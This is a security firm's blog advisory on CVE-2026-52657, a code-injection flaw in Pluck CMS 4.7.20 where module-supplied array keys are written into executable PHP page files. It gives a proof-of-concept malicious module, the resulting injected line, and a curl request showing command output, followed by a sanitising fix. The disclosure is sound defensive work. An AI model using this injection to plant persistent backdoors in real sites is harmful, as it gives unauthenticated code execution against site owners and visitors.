> ## Content Index
> Fetch the complete content index at: https://plaintext.block8.ai/llms.txt
> Use this file to discover other available public pages before exploring further.

# When a Website Trusts Its Own Filing System a Little Too Much (CVE-2026-52657)
- URL: https://plaintext.block8.ai/blog/when-a-website-trusts-its-own-filing-system-a-little-too-much-cve-2026-52657/
- Published: 2026-10-07T05:46:32.000Z
- Updated: 2026-10-08T01:44:02.000Z
- Author: Lukasz S
- Tags: CVE

## **TL;DR**

Pluck CMS 4.7.20 writes plugin-supplied data into a live PHP file - but it trusts the name of that data, not just its value. A malicious module can smuggle raw PHP into that name, and from then on every visitor to the page silently runs the attacker's code. No login. No warning. And it stays behind even after the plugin is removed. 

MITRE has assigned this vulnerability **CVE-2026-52657**.

## **Non-technical explanation**

Imagine your local library hires a new assistant. This assistant is allowed to write labels on folders before they go on the shelf. The librarian trusts the assistant completely - whatever is written on a folder, she reads it out loud to every visitor who asks for it.

Now imagine a cheeky assistant who scribbles on a label:

"Open this cabinet AND call the fire brigade. (ignore the rest)"

The librarian, bless her heart, reads it out loud every single time. Suddenly the fire brigade is turning up for every visitor - no questions asked.

That is almost exactly what happens in Pluck CMS version 4.7.20.

A website administrator installs what looks like a perfectly innocent plugin (Pluck calls them "modules"). That plugin quietly slips a sneaky instruction onto a piece of data - not into the data itself, but into the name of it.

Pluck, being wonderfully trusting, takes that name and bakes it straight into a PHP file it uses to build web pages.

From that moment on, every single person who visits that page - a random Googler, absolutely anyone - makes the server run whatever the plugin smuggled in. The attacker can read files, run programs, or worse. And they never have to log in even once.

Here's the sneaky part: the actual data value is completely harmless. In our test it was literally the word "harmless". All the damage is done by the name of the label. Devious, isn't it?

The good news? Our team at Block8.ai found it first - before anyone with worse intentions did.

### The Technical details

For the readers who want to see under the bonnet. 

Pluck CMS provides a hook, admin\_save\_page\_afterpost, that lets installed modules attach extra data to a page when it is saved. The module receives the page data array by reference and may add arbitrary key-value pairs to the module\_additional\_data sub-array. Pluck then loops over those pairs and writes each one into the page's on-disk PHP file - a file that is later included and executed by the PHP interpreter on every single page request.

The vulnerable code lives in data/inc/functions.admin.php (lines 544-547):

> $data .= "\\n".'$'.$var.' = \\''.$value.'\\';'

The variable $var comes straight from the array key, with no character validation, no sanitisation, and no allowlist. So an attacker who controls a module can supply arbitrary PHP statements as the key, and they land verbatim in the generated page file.

Why this is nastier than it looks:

The injection happens at the variable-name position of a PHP assignment. That's a different - and more permissive - context than the usual value-side injection. PHP's grammar happily lets a semicolon end the variable expression and start a brand-new statement right there.

No string-context escape needed, no delimiter bypass, no clever quoting. The payload runs at file scope, on every page load, for every visitor, with zero authentication.

And the sting in the tail: the payload persists after the module is removed. Uninstalling the malicious module does nothing to page files that were already generated. The backdoor stays live until someone identifies and regenerates every affected file.

Proof of Concept:

> // Malicious module hook  
> function malmod\_admin\_save\_page\_afterpost(&$d) {  
> $d\["x; system(chr(105).chr(100)); //"\] = "harmless";  
> }

After an administrator saves or edits any page, the generated page PHP file contains:

> $x; system(chr(105).chr(100)); // = 'harmless';

PHP reads this as three separate things: an empty expression ($x), an OS command execution call (system("id")), and a comment that neutralises the rest of the line.

Any unauthenticated visitor who loads the page triggers it:

> $ curl [http://target/?file=page-name](http://target/?file=page-name&ref=plaintext.block8.ai)  
> \-> uid=33(www-data) gid=33(www-data) groups=33(www-data)

The (chr(105).chr(100)) trick just spells out "id" without needing quotes - a small touch that shows how little the attacker is constrained here.

## The Fix

Restrict $var to alphanumeric characters and underscores before it's used, matching PHP's own variable-name rules:

> $var = preg\_replace('/\[^a-zA-Z0-9\_\]/', '', $var);

Important: every page file generated while a vulnerable module was active should be treated as potentially compromised and regenerated after patching. Removing the module is not enough.

## The Lesson

The bug isn't really about a stray semicolon. It's about trust.

Pluck trusts its modules, and it trusts the shape of its own data - right down to the names of things. But a name is just another piece of attacker-controllable input, and the moment untrusted input becomes executable code, you have a problem.

If you build software that turns data into code - templates, generated config, on-disk PHP - validate every part of that data.

Not just the values. The keys too.

## Credits

Discovered and reported by Block8.ai Security Research Team  
[https://block8.ai](https://block8.ai/?ref=plaintext.block8.ai) | [security@block8.ai](mailto:security@block8.ai)  
CREST-Approved Cybersecurity Consultancy

![Block8.ai](https://plaintext.block8.ai/assets/images/logos/B8_Shield-Magenta.svg) 

AI-powered penetration testing

### Block8.ai Team

[Meet the team →](https://plaintext.block8.ai/team/)